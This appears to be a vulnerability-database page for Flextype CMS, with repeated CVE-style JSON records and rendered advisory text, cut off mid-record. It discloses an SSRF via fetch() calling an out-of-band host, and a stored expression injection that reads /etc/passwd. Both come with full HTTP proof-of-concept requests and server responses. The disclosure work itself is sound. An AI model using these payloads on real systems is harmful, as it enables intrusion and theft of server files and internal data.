"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)\nvulnerability in the expression-processing functionality exposed through\nthe /api/v1/query endpoint. An authenticated remote attacker can supply an\narbitrary URL to the exposed fetch() function, causing the Flextype server\nto initiate an outbound HTTP request to an attacker-controlled destination.\n\nThe application does not sufficiently restrict the destination supplied to\nfetch(). Testing confirmed that an attacker-controlled expression submitted\nthrough the Query API caused the Flextype server to connect to an external\nBurp Collaborator endpoint.\n\nThe HTTP response received by the Flextype server, including its status\ncode, response headers, and response body, was subsequently returned to the\nattacker through the API response. The vulnerability therefore provides a\nnon-blind SSRF primitive and allows an attacker to interact with network\nresources from the security context and network position of the Flextype\nserver.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to cause\nthe Flextype server to initiate arbitrary server-side HTTP requests.\n\nBecause the response to the server-side request is returned through the\nQuery API, an attacker may potentially use the vulnerability to enumerate\nand interact with HTTP services accessible from the Flextype host,\nincluding services that are not directly accessible from the attacker\u0027s\nnetwork location.\n\nDepending on the deployment environment and network configuration,\npotential targets may include internal web applications, administrative\ninterfaces, loopback services, private network resources, and other\nHTTP-accessible infrastructure reachable by the Flextype server.\n\nThe demonstrated vulnerability is non-blind because response data from the\nrequested destination is returned to the attacker.\nDetailsServer-Side Request Forgery via fetch()\n\nThe /api/v1/query endpoint accepts expressions that are evaluated by the\nFlextype expression-processing environment. The environment exposes a\nfetch() function capable of initiating HTTP requests.\n\nAn authenticated attacker can provide an attacker-controlled URL to this\nfunction.\n\nThe following request instructs the Flextype server to request an external\nBurp Collaborator endpoint:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"ssrf\":\"fetch(\u0027http://042--snip--.oastify.com\u0026apos;)\"}}\n\nThe server responds with the result of the outbound request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 269\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\n{\"ssrf\":{\"reasonPhrase\":\"OK\",\"statusCode\":200,\"headers\":{\"Server\":[\"Burp\nCollaborator \nhttps://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\";\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"}}\n\nThe returned data identifies the destination as a Burp Collaborator server:\n\nServer: Burp Collaborator https://burpcollaborator.net/\nX-Collaborator-Version: 4\n\nAdditionally, the destination\u0027s response body is returned through Flextype:\n\n\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\n\nThis demonstrates that the request originates from the Flextype server and\nthat response data is made available to the authenticated attacker.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/21"
},
{
"url": "http://042--snip--.oastify.com\u0026apos"
},
{
"url": "https://burpcollaborator.net/"
},
{
"url": "https://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\""
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/21"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0179",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21",
"automated": true,
"contentSha256": "c9e2a727f1f53efb6b4cf5be0bcca4af1eb3ca45be5286682e35f5d90167ecd2",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/21",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:16:22Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0179"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0179"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0009
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)
vulnerability in the expression-processing functionality exposed through
the /api/v1/query endpoint. An authenticated remote attacker can supply an
arbitrary URL to the exposed fetch() function, causing the Flextype server
to initiate an outbound HTTP request to an attacker-controlled destination.
The application does not sufficiently restrict the destination supplied to
fetch(). Testing confirmed that an attacker-controlled expression submitted
through the Query API caused the Flextype server to connect to an external
Burp Collaborator endpoint.
The HTTP response received by the Flextype server, including its status
code, response headers, and response body, was subsequently returned to the
attacker through the API response. The vulnerability therefore provides a
non-blind SSRF primitive and allows an attacker to interact with network
resources from the security context and network position of the Flextype
server.
Impact
Successful exploitation allows an authenticated remote attacker to cause
the Flextype server to initiate arbitrary server-side HTTP requests.
Because the response to the server-side request is returned through the
Query API, an attacker may potentially use the vulnerability to enumerate
and interact with HTTP services accessible from the Flextype host,
including services that are not directly accessible from the attacker's
network location.
Depending on the deployment environment and network configuration,
potential targets may include internal web applications, administrative
interfaces, loopback services, private network resources, and other
HTTP-accessible infrastructure reachable by the Flextype server.
The demonstrated vulnerability is non-blind because response data from the
requested destination is returned to the attacker.
DetailsServer-Side Request Forgery via fetch()
The /api/v1/query endpoint accepts expressions that are evaluated by the
Flextype expression-processing environment. The environment exposes a
fetch() function capable of initiating HTTP requests.
An authenticated attacker can provide an attacker-controlled URL to this
function.
The following request instructs the Flextype server to request an external
Burp Collaborator endpoint:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com')"}}
The server responds with the result of the outbound request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 269
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
{"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp
Collaborator
https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":";<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}}
The returned data identifies the destination as a Burp Collaborator server:
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Additionally, the destination's response body is returned through Flextype:
<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>
This demonstrates that the request originates from the Flextype server and
that response data is made available to the authenticated attacker.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)\nvulnerability in the expression-processing functionality exposed through\nthe /api/v1/query endpoint. An authenticated remote attacker can supply an\narbitrary URL to the exposed fetch() function, causing the Flextype server\nto initiate an outbound HTTP request to an attacker-controlled destination.\n\nThe application does not sufficiently restrict the destination supplied to\nfetch(). Testing confirmed that an attacker-controlled expression submitted\nthrough the Query API caused the Flextype server to connect to an external\nBurp Collaborator endpoint.\n\nThe HTTP response received by the Flextype server, including its status\ncode, response headers, and response body, was subsequently returned to the\nattacker through the API response. The vulnerability therefore provides a\nnon-blind SSRF primitive and allows an attacker to interact with network\nresources from the security context and network position of the Flextype\nserver.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to cause\nthe Flextype server to initiate arbitrary server-side HTTP requests.\n\nBecause the response to the server-side request is returned through the\nQuery API, an attacker may potentially use the vulnerability to enumerate\nand interact with HTTP services accessible from the Flextype host,\nincluding services that are not directly accessible from the attacker\u0027s\nnetwork location.\n\nDepending on the deployment environment and network configuration,\npotential targets may include internal web applications, administrative\ninterfaces, loopback services, private network resources, and other\nHTTP-accessible infrastructure reachable by the Flextype server.\n\nThe demonstrated vulnerability is non-blind because response data from the\nrequested destination is returned to the attacker.\nDetailsServer-Side Request Forgery via fetch()\n\nThe /api/v1/query endpoint accepts expressions that are evaluated by the\nFlextype expression-processing environment. The environment exposes a\nfetch() function capable of initiating HTTP requests.\n\nAn authenticated attacker can provide an attacker-controlled URL to this\nfunction.\n\nThe following request instructs the Flextype server to request an external\nBurp Collaborator endpoint:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"ssrf\":\"fetch(\u0027http://042--snip--.oastify.com\u0026apos;)\"}}\n\nThe server responds with the result of the outbound request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 269\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\n{\"ssrf\":{\"reasonPhrase\":\"OK\",\"statusCode\":200,\"headers\":{\"Server\":[\"Burp\nCollaborator \nhttps://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\";\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"}}\n\nThe returned data identifies the destination as a Burp Collaborator server:\n\nServer: Burp Collaborator https://burpcollaborator.net/\nX-Collaborator-Version: 4\n\nAdditionally, the destination\u0027s response body is returned through Flextype:\n\n\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\n\nThis demonstrates that the request originates from the Flextype server and\nthat response data is made available to the authenticated attacker.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/21"
},
{
"url": "http://042--snip--.oastify.com\u0026apos"
},
{
"url": "https://burpcollaborator.net/"
},
{
"url": "https://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\""
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/21"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0009",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21",
"automated": true,
"contentSha256": "c9e2a727f1f53efb6b4cf5be0bcca4af1eb3ca45be5286682e35f5d90167ecd2",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/21",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:16:22Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0009"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0178
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression
injection vulnerability in the Entries ExpressionsDirective. An
authenticated remote attacker with sufficient privileges to create or
modify entries can persist arbitrary expression syntax within an entry
field. When the affected field is subsequently retrieved or processed,
Flextype passes the stored value to parsers()->expressions()->parse(),
causing the attacker-controlled expression to be evaluated server-side.
The expression environment exposes application functionality including the
filesystem() object. An attacker can therefore store an expression that
accesses arbitrary files readable by the Flextype PHP process. Testing
confirmed exploitation by storing an expression referencing /etc/passwd
within an entry's title field. The expression remained persisted within the
underlying entry file and was evaluated when the entry was processed,
resulting in disclosure of /etc/passwd.
This represents a stored execution path because the expression itself
crosses the persistence boundary and remains within the entry rather than
requiring the attacker to supply the complete expression during each
subsequent request.
Impact
An authenticated remote attacker can persist arbitrary expressions within
Flextype entry fields that are subsequently evaluated by the server-side
expression engine.
The demonstrated vulnerability allows arbitrary files accessible to the
Flextype PHP process to be read. This could expose sensitive server-side
information including application configuration files, credentials, API
keys, database connection information, source code, operating-system
information, and other secrets available to the application account.
Because the malicious expression is persisted within the entry, subsequent
processing of the affected field can cause the expression to be evaluated
again. Additional impact may be possible depending on the objects and
functionality exposed to the expression environment.
DetailsVulnerable Expressions Directive Implementation
Flextype registers an onEntriesFetchSingleField listener responsible for
processing expressions contained within individual entry fields.
When expression directives and global expression processing are enabled,
the implementation retrieves the current entry field, constructs variables
from the entry data, and passes string field values directly to the
expression parser.
<?php
declare(strict_types=1);
/**
* Flextype - Hybrid Content Management System with the freedom of a
headless CMS
* and with the full functionality of a traditional CMS!
*
* Copyright (c) Sergey Romanenko (https://awilum.github.io)
*
* Licensed under The MIT License.
*
* For full copyright and license information, please see the LICENSE
* Redistributions of files must retain the above copyright notice.
*/
namespace Flextype\Entries\Directives;
use function Glowy\Strings\strings;
use function Flextype\emitter;
use function Flextype\entries;
use function Flextype\parsers;
use function Flextype\registry;
use function Flextype\collection;
// Directive: [[ ]] [% %] [# #]
emitter()->addListener('onEntriesFetchSingleField', static function (): void {
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled'))
{
return;
}
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled_globally'))
{
return;
}
$field = entries()->registry()->get('methods.fetch.field');
if (is_string($field['value']) &&
strings($field['value'])->contains('!expressions')) {
return;
}
$vars = [];
// Convert entry fields to vars.
foreach (json_decode(json_encode((object)
entries()->registry()->get('methods.fetch.result')), false) as $key =>
$value) {
$vars[$key] = $value;
}
if (is_string($field['value'])) {
$field['value'] =
parsers()->expressions()->parse($field['value'], $vars);
}
entries()->registry()->set('methods.fetch.field.key', $field['key']);
entries()->registry()->set('methods.fetch.field.value', $field['value']);
});
The security-sensitive operation occurs when the stored field value is
passed directly to the expression parser:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
Proof of Concept — Store Arbitrary Expression
An authenticated attacker can create an entry through /api/v1/entries and
supply expression syntax within an attacker-controlled field.
The following request places a filesystem() expression within the title
field that reads /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"expr-api-proof","data":{"title":"[[
filesystem().file('/etc/passwd').get() ]]","content":"created through
API"}}
The application evaluates the supplied expression and returns the contents
of /etc/passwd:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
Proof of Concept — Expression Persistence
Inspection of the resulting Flextype entry demonstrates that the expression
itself is persisted on disk rather than being replaced by the evaluated
/etc/passwd contents:
realpath: /app/project/entries/expr-api-proof/entry.md
---
---
title: "[[ filesystem().file('/etc/passwd').get() ]]"
published_by: ''
created_by: ''
uuid: 15420ada-de60-4bc6-b7b2-387df908e0e3
---
created through API
This demonstrates that the expression remains part of the stored entry and
is not limited to a reflected or one-time expression evaluation condition.
Proof of Concept — Stored Expression Evaluation
The stored entry can subsequently be retrieved using its normal entry
identifier without resupplying the expression:
GET /api/v1/entries?token=lab-token&id=expr-api-proof HTTP/1.1
Host: 127.0.0.1:18080
Flextype evaluates the expression previously stored within the entry and
returns the resulting /etc/passwd contents:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
The GET request contains only the normal entry identifier. The expression
responsible for the file read originates from the previously persisted
entry data and is evaluated during subsequent entry processing.
Root Cause
The vulnerability occurs because Flextype treats stored entry content as
executable expression syntax during normal entry processing.
Specifically:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
There is no trust-boundary distinction between ordinary
attacker-controllable entry content and trusted application expressions
before the field value reaches the expression parser.
As a result, data supplied through an entry-management interface can
transition from stored application content into executable server-side
expression syntax.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
analysis
GCVE-1988-2026-0178 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression\ninjection vulnerability in the Entries ExpressionsDirective. An\nauthenticated remote attacker with sufficient privileges to create or\nmodify entries can persist arbitrary expression syntax within an entry\nfield. When the affected field is subsequently retrieved or processed,\nFlextype passes the stored value to parsers()-\u003eexpressions()-\u003eparse(),\ncausing the attacker-controlled expression to be evaluated server-side.\n\nThe expression environment exposes application functionality including the\nfilesystem() object. An attacker can therefore store an expression that\naccesses arbitrary files readable by the Flextype PHP process. Testing\nconfirmed exploitation by storing an expression referencing /etc/passwd\nwithin an entry\u0027s title field. The expression remained persisted within the\nunderlying entry file and was evaluated when the entry was processed,\nresulting in disclosure of /etc/passwd.\n\nThis represents a stored execution path because the expression itself\ncrosses the persistence boundary and remains within the entry rather than\nrequiring the attacker to supply the complete expression during each\nsubsequent request.\nImpact\n\nAn authenticated remote attacker can persist arbitrary expressions within\nFlextype entry fields that are subsequently evaluated by the server-side\nexpression engine.\n\nThe demonstrated vulnerability allows arbitrary files accessible to the\nFlextype PHP process to be read. This could expose sensitive server-side\ninformation including application configuration files, credentials, API\nkeys, database connection information, source code, operating-system\ninformation, and other secrets available to the application account.\n\nBecause the malicious expression is persisted within the entry, subsequent\nprocessing of the affected field can cause the expression to be evaluated\nagain. Additional impact may be possible depending on the objects and\nfunctionality exposed to the expression environment.\n\nDetailsVulnerable Expressions Directive Implementation\n\nFlextype registers an onEntriesFetchSingleField listener responsible for\nprocessing expressions contained within individual entry fields.\n\nWhen expression directives and global expression processing are enabled,\nthe implementation retrieves the current entry field, constructs variables\nfrom the entry data, and passes string field values directly to the\nexpression parser.\n\n\u003c?php\n\ndeclare(strict_types=1);\n\n/**\n * Flextype - Hybrid Content Management System with the freedom of a\nheadless CMS\n * and with the full functionality of a traditional CMS!\n *\n * Copyright (c) Sergey Romanenko (https://awilum.github.io)\n *\n * Licensed under The MIT License.\n *\n * For full copyright and license information, please see the LICENSE\n * Redistributions of files must retain the above copyright notice.\n */\n\nnamespace Flextype\\Entries\\Directives;\n\nuse function Glowy\\Strings\\strings;\nuse function Flextype\\emitter;\nuse function Flextype\\entries;\nuse function Flextype\\parsers;\nuse function Flextype\\registry;\nuse function Flextype\\collection;\n\n// Directive: [[ ]] [% %] [# #]\nemitter()-\u003eaddListener(\u0027onEntriesFetchSingleField\u0027, static function (): void {\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled\u0027))\n{\n return;\n }\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled_globally\u0027))\n{\n return;\n }\n\n $field = entries()-\u003eregistry()-\u003eget(\u0027methods.fetch.field\u0027);\n\n if (is_string($field[\u0027value\u0027]) \u0026\u0026\nstrings($field[\u0027value\u0027])-\u003econtains(\u0027!expressions\u0027)) {\n return;\n }\n\n $vars = [];\n\n // Convert entry fields to vars.\n foreach (json_decode(json_encode((object)\nentries()-\u003eregistry()-\u003eget(\u0027methods.fetch.result\u0027)), false) as $key =\u003e\n$value) {\n $vars[$key] = $value;\n }\n\n if (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] =\nparsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n }\n\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.key\u0027, $field[\u0027key\u0027]);\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.value\u0027, $field[\u0027value\u0027]);\n});\n\nThe security-sensitive operation occurs when the stored field value is\npassed directly to the expression parser:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nProof of Concept \u2014 Store Arbitrary Expression\n\nAn authenticated attacker can create an entry through /api/v1/entries and\nsupply expression syntax within an attacker-controlled field.\n\nThe following request places a filesystem() expression within the title\nfield that reads /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"expr-api-proof\",\"data\":{\"title\":\"[[\nfilesystem().file(\u0027/etc/passwd\u0027).get() ]]\",\"content\":\"created through\nAPI\"}}\n\nThe application evaluates the supplied expression and returns the contents\nof /etc/passwd:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: 